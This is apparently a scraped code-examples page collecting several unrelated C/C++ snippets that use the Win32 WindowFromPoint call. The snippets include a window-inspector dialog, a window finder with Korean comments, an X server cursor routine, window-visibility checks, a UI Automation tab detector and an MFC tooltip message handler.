    { WS_EX_APPWINDOW, L"WS_EX_APPWINDOW" },
#endif

#if(_WIN32_WINNT >= 0x0500)
    { WS_EX_LAYERED, L"WS_EX_LAYERED" },
#endif

#if(WINVER >= 0x0500)
    { WS_EX_NOINHERITLAYOUT, L"WS_EX_NOINHERITLAYOUT" },
    { WS_EX_LAYOUTRTL, L"WS_EX_LAYOUTRTL" },
    
#endif

#if(_WIN32_WINNT >= 0x0501)
    { WS_EX_COMPOSITED, L"WS_EX_COMPOSITED" },
#endif

#if(_WIN32_WINNT >= 0x0500)
    { WS_EX_NOACTIVATE, L"WS_EX_NOACTIVATE" },
#endif
  };

  static int style_map_len = sizeof(style_map) / sizeof(StyleMap);
  static int exstyle_map_len = sizeof(exstyle_map) / sizeof(StyleMap);

  POINT pt;
  GetCursorPos(&pt);
  HWND hwnd = WindowFromPoint(pt);
  wchar_t text_buffer[MAX_STRING_LEN + 1] = {0};

  // style
  LONG style = 0;
  style = ::GetWindowLong(hwnd, GWL_STYLE);
  memset(text_buffer, L'\0', MAX_STRING_LEN + 1);
  if (style) {
    for (int i = 0; i < style_map_len; ++i) {
      if (style & style_map[i].ID)
        wsprintf(text_buffer, L"%s | %s", text_buffer, style_map[i].t);
    }
  }
  
  SetDlgItemText(IDC_STYLE_ADVANCE, &text_buffer[3]);  // skip the " | " characters


  // exstyle
  LONG exstyle = 0;
  exstyle = ::GetWindowLong(hwnd, GWL_EXSTYLE);
  memset(text_buffer, L'\0', MAX_STRING_LEN + 1);
  if (exstyle) {
    for (int i = 0; i < exstyle_map_len; ++i) {
      if (exstyle & exstyle_map[i].ID)
        wsprintf(text_buffer, L"%s | %s", text_buffer, exstyle_map[i].t);
    }
  }  

  SetDlgItemText(IDC_EX_STYLE, &text_buffer[3]);  // skip the " | " characters

  // parent
  HWND parent = ::GetParent(hwnd);
  memset(text_buffer, L'\0', MAX_STRING_LEN + 1);
  wsprintf(text_buffer, L"0x%08X", parent);
  SetDlgItemText(IDC_PARENT_HANDLE, text_buffer);

  
  memset(text_buffer, L'\0', MAX_STRING_LEN + 1);
  ::GetWindowText(parent, text_buffer, MAX_STRING_LEN + 1);
  SetDlgItemText(IDC_PARENT_CAPTION, text_buffer);


  // child
  HWND child = ::ChildWindowFromPoint(hwnd, pt);
  memset(text_buffer, L'\0', MAX_STRING_LEN + 1);
  wsprintf(text_buffer, L"0x%08X", child);
  SetDlgItemText(IDC_FIRST_CHILD_HANDLE, text_buffer);
  

  memset(text_buffer, L'\0', MAX_STRING_LEN + 1);
  ::GetWindowText(child, text_buffer, MAX_STRING_LEN + 1);
  SetDlgItemText(IDC_FIRST_CHILD_CAPTION, text_buffer);

  // processid
  DWORD process_id = 0;
  DWORD thread_id = GetWindowThreadProcessId(hwnd, &process_id);

  memset(text_buffer, L'\0', MAX_STRING_LEN + 1);
  wsprintf(text_buffer, L"0x%08X", process_id);
  SetDlgItemText(IDC_PROCESSID, text_buffer);

  // threadid
  memset(text_buffer, L'\0', MAX_STRING_LEN + 1);
  wsprintf(text_buffer, L"0x%08X", thread_id);
  SetDlgItemText(IDC_THREADID, text_buffer);
}
예제 #25
0
LRESULT CALLBACK WndProc( HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	static HICON		hFill, hEmpty;
	static HCURSOR		hCursor;
	static RECT			rc = { 50, 50 , 82, 82 };	// 32 * 32
	static HINSTANCE	hInst;

	static HWND hwndPrev = (HWND)-1;
	switch( msg )
	{
	case WM_MOUSEMOVE:
		// 1. 현재 마우스를 누가ㅣ 소유?? ( 본인소유..)
		if( GetCapture() == hwnd)
		{
			POINT pt;
			// 현재 마우스 포인터 위치?? 스크린 좌표...
			GetCursorPos(&pt);

			// 핸들값... 현재 마우스 포인터 아래의...
			HWND hCur = WindowFromPoint(pt);
			
			if( hCur != hwnd && hCur != hwndPrev)
			{
				// 이전의 핸들값.. 
				DrawInvertRect(hwndPrev);
				// 현재의 핸들값..
				DrawInvertRect(hCur);
				hwndPrev = hCur;
			}
		}
		return 0;

	// 마우스 캡쳐가 해지 될 때 호출되는 핸들러..
	// 이 메시지에서 화면을 무효화 하면 Icon이 다시 그려진다...
	case WM_CAPTURECHANGED:
		InvalidateRect(hwnd, &rc, TRUE);
		//---------------- 추가 ---------------------------
		DrawInvertRect(hwndPrev);
		hwndPrev = (HWND)-1;
		//--------------------------------------------------
		return 0;

	// 초기화
	case WM_CREATE:
		// Instance 얻기..
		hInst		= ( ( LPCREATESTRUCT)lParam)->hInstance;

		hFill		= LoadIcon  ( hInst, MAKEINTRESOURCE(IDI_ICONFILL));
		hEmpty		= LoadIcon  ( hInst, MAKEINTRESOURCE(IDI_ICON_EMPTY));
		hCursor		= LoadCursor( hInst, MAKEINTRESOURCE(IDC_CURSOR_TARGET));
		return 0;

	case WM_PAINT:
		{
			PAINTSTRUCT ps;
			HDC hdc			= BeginPaint(hwnd, &ps);
			DrawIcon( hdc, rc.left, rc.top, hFill);	
			EndPaint(hwnd, &ps);
		}
		return 0;

	case WM_LBUTTONDOWN:
		{
			POINT  pt		=  { LOWORD(lParam), HIWORD(lParam) };

			// 아이콘 영역 안인가??
			if( PtInRect( &rc, pt ) )
			{
				// 1. 마우스 캡쳐 
				SetCapture(hwnd);

				// 2. 아이콘 변경
				HDC  hdc = GetDC(hwnd);
				DrawIcon(hdc, rc.left, rc.top, hEmpty);

				ReleaseDC(hwnd, hdc);

				// 3. 커서 변경
				SetCursor( hCursor);
			}
		}
		return 0;

	case WM_LBUTTONUP:
		if( GetCapture() == hwnd )
			ReleaseCapture();
		return 0;

	case WM_RBUTTONDOWN:
		return 0;
	case WM_DESTROY:
		PostQuitMessage(0);
		return 0;
	}
	return DefWindowProc(hwnd, msg, wParam, lParam);
}
예제 #26
0
/*
 * winSetCursor
 *  Set the cursor sprite and position.
 */
static void
winSetCursor(DeviceIntPtr pDev, ScreenPtr pScreen, CursorPtr pCursor, int x,
             int y)
{
    POINT ptCurPos, ptTemp;
    HWND hwnd;
    RECT rcClient;
    BOOL bInhibit;

    winScreenPriv(pScreen);
    WIN_DEBUG_MSG("winSetCursor: cursor=%p\n", pCursor);

    /* Inhibit changing the cursor if the mouse is not in a client area */
    bInhibit = FALSE;
    if (GetCursorPos(&ptCurPos)) {
        hwnd = WindowFromPoint(ptCurPos);
        if (hwnd) {
            if (GetClientRect(hwnd, &rcClient)) {
                ptTemp.x = rcClient.left;
                ptTemp.y = rcClient.top;
                if (ClientToScreen(hwnd, &ptTemp)) {
                    rcClient.left = ptTemp.x;
                    rcClient.top = ptTemp.y;
                    ptTemp.x = rcClient.right;
                    ptTemp.y = rcClient.bottom;
                    if (ClientToScreen(hwnd, &ptTemp)) {
                        rcClient.right = ptTemp.x;
                        rcClient.bottom = ptTemp.y;
                        if (!PtInRect(&rcClient, ptCurPos))
                            bInhibit = TRUE;
                    }
                }
            }
        }
    }

    if (pCursor == NULL) {
        if (pScreenPriv->cursor.visible) {
            if (!bInhibit && g_fSoftwareCursor)
                ShowCursor(FALSE);
            pScreenPriv->cursor.visible = FALSE;
        }
    }
    else {
        if (pScreenPriv->cursor.handle) {
            if (!bInhibit)
                SetCursor(NULL);
            DestroyCursor(pScreenPriv->cursor.handle);
            pScreenPriv->cursor.handle = NULL;
        }
        pScreenPriv->cursor.handle =
            winLoadCursor(pScreen, pCursor, pScreen->myNum);
        WIN_DEBUG_MSG("winSetCursor: handle=%p\n", pScreenPriv->cursor.handle);

        if (!bInhibit)
            SetCursor(pScreenPriv->cursor.handle);

        if (!pScreenPriv->cursor.visible) {
            if (!bInhibit && g_fSoftwareCursor)
                ShowCursor(TRUE);
            pScreenPriv->cursor.visible = TRUE;
        }
    }
}
예제 #27
0
int fnGetWindowVisibleState(HWND hWnd, int iStepX, int iStepY)
{
	RECT rc, rcWin, rcWorkArea;
	POINT pt;
	register int i, j, width, height, iCountedDots = 0, iNotCoveredDots = 0;
	BOOL bPartiallyCovered = FALSE;
	HWND hAux = 0;

	if (hWnd == NULL) {
		SetLastError(0x00000006);       //Wrong handle
		return -1;
	}

	//Some defaults now. The routine is designed for thin and tall windows.
	if (iStepX <= 0)
		iStepX = 4;
	if (iStepY <= 0)
		iStepY = 16;

	if (IsIconic(hWnd) || !IsWindowVisible(hWnd))
		return GWVS_HIDDEN;

	if (CallService(MS_CLIST_DOCKINGISDOCKED, 0, 0))
		return GWVS_VISIBLE;

	GetWindowRect(hWnd, &rcWin);

	SystemParametersInfo(SPI_GETWORKAREA, 0, &rcWorkArea, FALSE);
	HMONITOR hMon = MonitorFromWindow(hWnd, MONITOR_DEFAULTTONEAREST);
	MONITORINFO mi;
	mi.cbSize = sizeof(mi);
	if (GetMonitorInfo(hMon, &mi))
		rcWorkArea = mi.rcWork;

	IntersectRect(&rc, &rcWin, &rcWorkArea);

	width = rc.right - rc.left;
	height = rc.bottom - rc.top;

	for (i = rc.top; i < rc.bottom; i += (height / iStepY)) {
		pt.y = i;
		for (j = rc.left; j < rc.right; j += (width / iStepX)) {
			pt.x = j;
			hAux = WindowFromPoint(pt);
			while (GetParent(hAux) != NULL)
				hAux = GetParent(hAux);
			if (hAux != hWnd && hAux != NULL)       //There's another window!
				bPartiallyCovered = TRUE;
			else
				iNotCoveredDots++;  //Let's count the not covered dots.
			iCountedDots++; //Let's keep track of how many dots we checked.
		}
	}

	if (iNotCoveredDots == iCountedDots)    //Every dot was not covered: the window is visible.
		return GWVS_VISIBLE;

	if (iNotCoveredDots == 0)  //They're all covered!
		return GWVS_COVERED;

	// There are dots which are visible, but they are not as many as the ones we counted: it's partially covered.
	return GWVS_PARTIALLY_COVERED;
}
예제 #28
0
int GetWindowVisibleState(HWND hWnd, int iStepX, int iStepY)
{
	RECT rc = { 0 };
	POINT pt = { 0 };
	register int i = 0, j = 0, width = 0, height = 0, iCountedDots = 0, iNotCoveredDots = 0;
	BOOL bPartiallyCovered = FALSE;
	HWND hAux = 0;

	if (hWnd == NULL) {
		SetLastError(0x00000006); //Wrong handle
		return -1;
	}
	//Some defaults now. The routine is designed for thin and tall windows.

	if (IsIconic(hWnd) || !IsWindowVisible(hWnd))
		return GWVS_HIDDEN;

	HRGN rgn = 0;
	POINT ptOrig;
	RECT  rcClient;
	int clip = (int)cfg::dat.bClipBorder;

	GetClientRect(hWnd, &rcClient);
	ptOrig.x = ptOrig.y = 0;
	ClientToScreen(hWnd, &ptOrig);
	rc.left = ptOrig.x;
	rc.top = ptOrig.y;
	rc.right = rc.left + rcClient.right;
	rc.bottom = rc.top + rcClient.bottom;

	//GetWindowRect(hWnd, &rc);
	width = rc.right - rc.left;
	height = rc.bottom - rc.top;

	if (iStepX <= 0)
		iStepX = 4;
	if (iStepY <= 0)
		iStepY = 16;

	/*
	* use a rounded clip region to determine which pixels are covered
	* this will avoid problems with certain XP themes which are using transparency for rounded
	* window frames (reluna being one popular example).

	* the radius of 8 should be sufficient for most themes as they usually don't use bigger
	* radii.
	* also, clip at least 2 pixels from the border (same reason)
	*/

	if (g_CLUIImageItem)
		clip = 5;
	else
		clip = 0;

	for (i = rc.top + clip; i < rc.bottom; i += (height / iStepY)) {
		pt.y = i;
		for (j = rc.left + clip; j < rc.right; j += (width / iStepX)) {
			pt.x = j;
			hAux = WindowFromPoint(pt);
			while (GetParent(hAux) != NULL)
				hAux = GetParent(hAux);
			if (hAux != hWnd && hAux) //There's another window!
				bPartiallyCovered = TRUE;
			else
				iNotCoveredDots++; //Let's count the not covered dots.
			iCountedDots++; //Let's keep track of how many dots we checked.
		}
	}
	if (rgn)
		DeleteObject(rgn);

	if (iNotCoveredDots == iCountedDots) //Every dot was not covered: the window is visible.
		return GWVS_VISIBLE;
	if (iNotCoveredDots == 0) //They're all covered!
		return GWVS_COVERED;
	//There are dots which are visible, but they are not as many as the ones we counted: it's partially covered.
	return GWVS_PARTIALLY_COVERED;
}
예제 #29
0
/* 得到标签页的事件指针, 当标签已激活时把active参数设为1 */
bool mouse_on_tab(RECT *pr, POINT *pt, int *active)
{
    HRESULT hr;
    IUIAutomationCondition* pCondition = NULL;
    IUIAutomationElementArray* pFoundArray = NULL;
    IUIAutomationElement* tmp = NULL;
    IUIAutomationElement* tab_bar = NULL;
    VARIANT var;
    bool res = false;
    if ((tab_bar = get_tab_bars(WindowFromPoint(*pt))) == NULL)
    {
    #ifdef _LOGDEBUG
        logmsg("tab_bar is null from mouse_on_tab, res return false!\n");
    #endif
        return res;
    }
    do
    {
        int c = 0;
        var.vt = VT_I4;
        var.lVal = UIA_TabItemControlTypeId;
        hr = g_uia->CreatePropertyCondition(UIA_ControlTypePropertyId,var, &pCondition);
        if (FAILED(hr))
        {
        #ifdef _LOGDEBUG
            logmsg("CreatePropertyCondition false!\n");
        #endif
            break;
        } 
        hr = tab_bar->FindAll(TreeScope_Children,pCondition, &pFoundArray);
        if (FAILED(hr))
        {
        #ifdef _LOGDEBUG
            logmsg("FindAll false!\n");
        #endif
            break;
        }
        hr = pFoundArray->get_Length(&c);
        if (FAILED(hr))
        {
            break;
        }
        for (int idx = 0; idx < c; idx++)
        {
            hr = pFoundArray->GetElement(idx, &tmp);
            if (FAILED(hr))
            {
                break;
            }
            hr = tmp->get_CurrentBoundingRectangle(pr); 
            if (SUCCEEDED(hr) && PtInRect(pr, *pt))
            {
                if (active != NULL)
                {
                    tmp->get_CurrentIsKeyboardFocusable(active);
                }
                res = true;
                break;
            }
        }
    }while (0);
    if (pCondition)
    {
        pCondition->Release();
    }
    if (tmp)
    {
        tmp->Release();
    }
    if (pFoundArray)
    {
        pFoundArray->Release();
    }
    if (tab_bar)
    {
        tab_bar->Release();
    }
    return res;
}
BOOL COXItemTipWnd::PreTranslateMessage(MSG* pMsg) 
{	
	ASSERT_VALID(m_pParentWnd);
    ASSERT(::IsWindow(m_pParentWnd->GetSafeHwnd()));
	ASSERT(::IsWindow(m_hWnd));

	CWnd *pWnd=NULL;	
	int nHitTest;

	pWnd=m_pParentWnd;
	while(pWnd!=NULL && (pWnd->GetStyle()&WS_CHILD)!=0)
	{
		pWnd=pWnd->GetParent();
	}
	ASSERT(pWnd!=NULL);

	if(pMsg->message==WM_MOUSEMOVE || 
		(pMsg->message==WM_TIMER && pMsg->wParam==(WPARAM)m_nTimerID))	
	{
		CPoint point;
		::GetCursorPos(&point);
		CRect rect;
		GetWindowRect(rect);
		pWnd=WindowFromPoint(point);
		ASSERT(pWnd!=NULL);
		if(pWnd->GetSafeHwnd()==GetSafeHwnd()) 
		{
			return CWnd::PreTranslateMessage(pMsg);
		}
		else
		{
			if(pMsg->message!=WM_MOUSEMOVE)
			{
				Hide();
				return TRUE;
			}
		}
	}

	switch(pMsg->message)	
	{
	case WM_LBUTTONDOWN:
	case WM_RBUTTONDOWN:
	case WM_MBUTTONDOWN:	
	case WM_LBUTTONUP:
	case WM_RBUTTONUP:
	case WM_MBUTTONUP:	
	case WM_MOUSEMOVE:	
	case WM_LBUTTONDBLCLK:
	case WM_RBUTTONDBLCLK:
	case WM_MBUTTONDBLCLK:
		{
			POINTS points=MAKEPOINTS(pMsg->lParam);	
			CPoint point(points.x,points.y);
			ClientToScreen(&point);
			pWnd=WindowFromPoint(point);
			ASSERT(pWnd);
			if(pWnd==this) 
			{
				pWnd=m_pParentWnd;
			}

			nHitTest=(int)pWnd->SendMessage(WM_NCHITTEST,0,
				MAKELONG(point.x,point.y));	
			if(nHitTest==HTCLIENT) 
			{
				pWnd->ScreenToClient(&point);		
			} 
			else 
			{	
				switch(pMsg->message) 
				{
				case WM_LBUTTONDOWN: 
					{
						pMsg->message=WM_NCLBUTTONDOWN;		
						break;
					}
				case WM_RBUTTONDOWN: 
					{
						pMsg->message=WM_NCRBUTTONDOWN;		
						break;
					}
				case WM_MBUTTONDOWN: 
					{
						pMsg->message=WM_NCMBUTTONDOWN;		
						break;
					}
				case WM_LBUTTONUP: 
					{
						pMsg->message=WM_NCLBUTTONUP;		
						break;
					}
				case WM_RBUTTONUP: 
					{
						pMsg->message=WM_NCRBUTTONUP;		
						break;
					}
				case WM_MBUTTONUP: 
					{
						pMsg->message=WM_NCMBUTTONUP;		
						break;
					}
				case WM_LBUTTONDBLCLK: 
					{
						pMsg->message=WM_NCLBUTTONDBLCLK;		
						break;
					}
				case WM_RBUTTONDBLCLK: 
					{
						pMsg->message=WM_NCRBUTTONDBLCLK;		
						break;
					}
				case WM_MBUTTONDBLCLK: 
					{
						pMsg->message=WM_NCMBUTTONDBLCLK;		
						break;
					}
				case WM_MOUSEMOVE: 
					{
						pMsg->message=WM_NCMOUSEMOVE;		
						break;
					}
				}
				pMsg->wParam=nHitTest;
			}
			pMsg->lParam=MAKELONG(point.x,point.y);

			ASSERT(pWnd!=this);
		}
	case WM_KEYDOWN:
	case WM_SYSKEYDOWN:
		{
			ASSERT(pWnd!=NULL);

			Hide(pMsg,pWnd);
			return TRUE;	
		}
	}	

	BOOL bResult=CWnd::PreTranslateMessage(pMsg);
	return bResult;
}